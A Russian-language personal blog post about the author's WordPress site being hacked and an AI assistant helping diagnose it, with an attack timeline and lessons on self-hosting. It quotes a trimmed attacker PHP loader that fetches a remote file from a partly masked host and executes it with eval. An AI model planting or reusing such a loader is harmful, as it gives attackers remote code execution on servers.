27 сентября я праздновала свой день рождения. А в понедельник 28, пытаясь довести черновик до публикуемого состояния, обнаружила, что как-то плохо все редактируется. А потом выяснилось, что и просматривается тоже не очень хорошо. Все адреса публикаций вели на главную страницу и прочитать что-либо было невозможно. Сначала я грешила на VPN, но позже оказалось, что мой бложик просто хакнули и на одной из его страниц теперь висит какое-то индонезийское казино.
Я не настоящий сисадмин
В 2014 году я заводила бложик на обычном хостинге, не имея даже рут-доступа к виртуалке, на которой он хостился. Но мне хотелось получше во всем разобраться и иметь больше возможностей, поэтому позднее я перешла на выделенный сервер. Да, это намного дороже, но зато можно самостоятельно хостить множество сервисов и организовать инфраструктуру так, как мне захочется. Например, можно на выделенном сервере поставить гипервизор, а блог хостить на отдельной операционке внутри виртуальной машины. Это позволяет делать регулярные снимки состояния, чтобы если что откатиться к прошлой версии. Можно делать инвазивные операции и не бояться, что все развалится.
Чтобы было еще удобнее, я каждый сервис разместила в своем докер-контейнере и смонтировала каталоги так, чтобы все лежало удобным для меня образом. Система была для меня новой, сейчас бы я сделала все чуть-чуть иначе, но в целом такая организация показала себя очень хорошо. Тем не менее, если вы имеете опыт админства, вы хорошо знаете, что системы, глядящие в интернет, начинают болеть сами по себе. В приложениях обнаруживаются эксплойты, а их обновление может обернуться тем еще приключением. Например, может так оказаться, что докер-репозиторий для вашей ОС перестанет быть доступным и вам придется переставлять ОС и поднимать всю конфигурацию заново. Да и простое пересоздание контейнера на новой версии тоже может что-то разломать. Компьютеры не работают.
Мне было лень со всем этим возиться, поэтому я не обновляла ничего годами. В том числе вордпресс, на котором бложик работает.
Паника
Сперва мне еще хотелось успеть опубликовать статью, но идей что именно происходит у меня не было. Ведь мало того что я не сисадмин, я еще и не веб-девелопер. Какие там хитрые штуки могут происходить с вебсерверами и как их диагностировать по симптомам я не знаю. Проблему удалось вылечить с помощью нескольких рестартов гипервизора. Но так дела не делаются. Если все развалилось единожды, может развалиться еще раз. Надо разбираться. К счастью, формулировку «мой блог как-то странно работает и все страницы ведут на главную» вполне можно отправить в LLM.
Few days ago all pages of my blog were showing the same page (all the articles led to simply blog.doredel.com) It self-fixed after a few restarts but may fire any moment again. What I suspect is that there was something wrong with db or free space on disk on mainserver. Could we check that and maybe anything else that might cause such effect?
У Клода уже была инструкция действовать в режиме пошаговой диагностики «запрос-ответ». Мы с ним немножечко потраблшутили сервер. Он только отправлял мне команды для выполнения, объяснял их смысл и ожидаемый результат, прямого доступа к хостингу у него не было. Ничего серьезного на поверхности не нашлось, поэтому он начал копать глубже.
The version number points to a more serious possibility. WordPress 7.1.2 came out on 22 September, six days before your incident. It fixes a critical flaw that needs no login: an attacker can make page-template handling load a PHP file from outside the theme, which can lead to running their own code on the server.
После этого он отправил мне несколько команд для проверки не появилось ли у меня в папках каких-нибудь подозрительных файлов. И такие файлы нашлись.
Your blog has been hacked. The Step 57 output shows attackers have been inside WordPress since at least 25 September. Updating on the 28th probably fixed the hole they used, but it didn’t remove what they left behind. They can most likely still get in.
Прикольно, да? Клод не только корректно диагностировал проблему, он еще и по всем логам прошелся и нашел конкретные даты.
| Когда | Что |
|---|---|
| 26.09 22:34 | Появляется скрытая папка wp-content/.cache/wp-content/cache/ . Это первый след атаки. |
| 27.09 00:54 | Кто-то запрашивает start-cookie.php в этой папке и получает код 200 |
| 27.09 01:08–01:11 | Кто-то пытается открыть wp-login.php, затем отправляет десятки POST /xmlrpc.php запросов за секунду |
| 27.09 01:34 | Повляется вторая копия загрузчика, спрятанная в .import/wp-content/advanced-cache.php/wp-content/mu-plugins/class-utility-start.php |
| 27.09 02:46 | Создается папка ALFA_DATA, которую использует вебшелл ALFA |
| 27.09 21:44 | Созданы 8 файлов верификации Google Search Console, хакеры пытались поднять SEO-рейтинг страницы с казино |
| 27.09 21:51 | Сама страница с казино была загружена файлом поверх моей странички с донатом cup-of-tea/index.php |
| 28.09 12:36 | Я обновила вордпресс до 7.1.2 |
| 28.09 14:48 — 29.09 16:41 | Посетители любуются казино |
| 29.09 | Все обнаружено и вылечено |
Я конечно понимаю, что у хакеров теперь тоже есть подобный инструмент и даже видела какие-то странные запросы на мой ресурс с адресов Anthropic, но это поистине впечатляюще! Смотрите как подробно! И все с пруфами!
Что там было-то?
Атакующие разместили у меня на сервере (докер-контейнер внутри VM) PHP загрузчик, который грузит и выполняет содержимое текстового файла, размещенного на другом ресурсе. Таким образом им не нужно было модицифировать файлы на сервере напрямую, достаточно поменять файлик на своей стороне. Подложенный php все подхватит и выполнит.
Я частично подменяю урлы, чтобы вы не вздумали все это себе в адресную строку копировать.
$url = "https://***-pwn.pages.dev/jack.txt";
// ... curl download ...
eval("?>" . $data); //JALANKAN LANGSUNG TANPA CACHE
Джаланкан лангсунг, дамы и господа! /cup-of-tea/index.php был подменен на HTML страничку, рекламирующую индонезийское казино. Все ассеты были стянуты с tidak-rungkat-*.pages.dev.
Хорошо, что это все Клод догадался сбэкапить (с моей подсказки), потому что это позволило устранить не только саму проблему, но и понять на что еще она могла повлиять. После этого я поменяла пароли везде где можно. Сам пароль к блогу, ВМ и гипервизору едва ли возможно забрутфорсить, ну а теперь там вообще вход по секретному ключу. Главное, что никакие пароли на много-много байт со спецсимволами меня не спасли. Сложный пароль — это иллюзия безопасности. Да и регулярная смена паролей тоже бестолковая практика. Нужно уменьшать поверхность атаки, а не пароли придумывать. Но использовать везде одинаковый пароль чревато, как вы понимаете. Так что менеджер паролей безусловно нужен.
Это был не единственный взлом
На самом деле мой блог уже взламывали и до этого. И не только блог. Клод нашел несколько следов других эксплойтов на остальных ресурсах, хостящихся на сервере. Да и я знала до этого, что кто-то ко мне периодически пролезает. Hetnzer пару лет назад уже грозили мне блокировками:
Dear Ms Anna Antonova,
We have indications that there was an attack from your server.
Please take all necessary measures to avoid this in the future and to solve the issue.
Что-то сканировало ip адреса и порты во внутренней сети Hetnzer с моего сервера. Я тогда поборола это перезапуском контейнера и жесткой фильтрацией исходящих запросов с помощью фаервола.
Выводов из всей этой истории можно сделать несколько:
- Хостинг на своем выделенном сервере — для тех, у кого много времени. Но это дает много контроля и, как ни парадоксально, безопасности и сохранности. Это мой блог, я знаю что его нужно бэкапить, и винить никого кроме себя не буду, если вдруг все развалится, а бэкапа не останется
- Надо уменьшать поверхность для атаки. PHP и WordPress уже прекрасно себя зарекомендовали как самые дырявые продукты на свете. Но дальше будет хуже. В ближайший год мы узнаем очень много нового о фундаменте, на котором держится весь интернет. Наверное вы слышали уже устоявшееся выражение «Если бы вы знали из чего эту колбасу делают, вы бы ее не ели». Вот я хорошо знаю как собираются современные приложения, практически не принимая во внимание безопасность. Все это теперь всплывает на поверхность. Весь технический долг теперь придется выгребать и исправлять. Никакие LLM с этим не справятся. Работы станет только больше, а не меньше.
- Сложные пароли из двухсот символов бесполезны, а регулярная их смена — ритуал, снижающий безопасность, а не повышающий ее. Я не меняла пароль к вордпрессу больше десяти лет, за все это время никто не смог его подобрать. Сейчас, после взлома, я его поменяла, конечно.
- Проводить подобную диагностику с помощью LLM офигеть как удобно и доступно. В этом и до этого не было ничего сложного, но это требовало практики, которая очень быстро выветривалась. Если вы не админите несколько ресурсов и ваша деятельность оторвана от ковыряния в линуксах, все усвоенное за одну сессию красноглазия выветрится так же быстро, как было получено. А теперь можно регулярно гонять аудит, передавая в LLM контекст прошлых сессий. Это требует очень мало усилий и практически не несет в себе когнитивной нагрузки. Ничего подобного раньше не было. Недавно найденную RCE уязвимость в PHP я тоже лечила с помощью LLM и это заняло у меня не больше десяти минут, хотя условия для этого были нетривиальные.
- Мой бложик скорее всего уже в каком-то списке у хакеров. Поэтому на новых уязвимостях они снова до меня доберутся. Надо что-то придумывать. Существует ненулевая вероятность, что блог придется концептуально переосмысливать.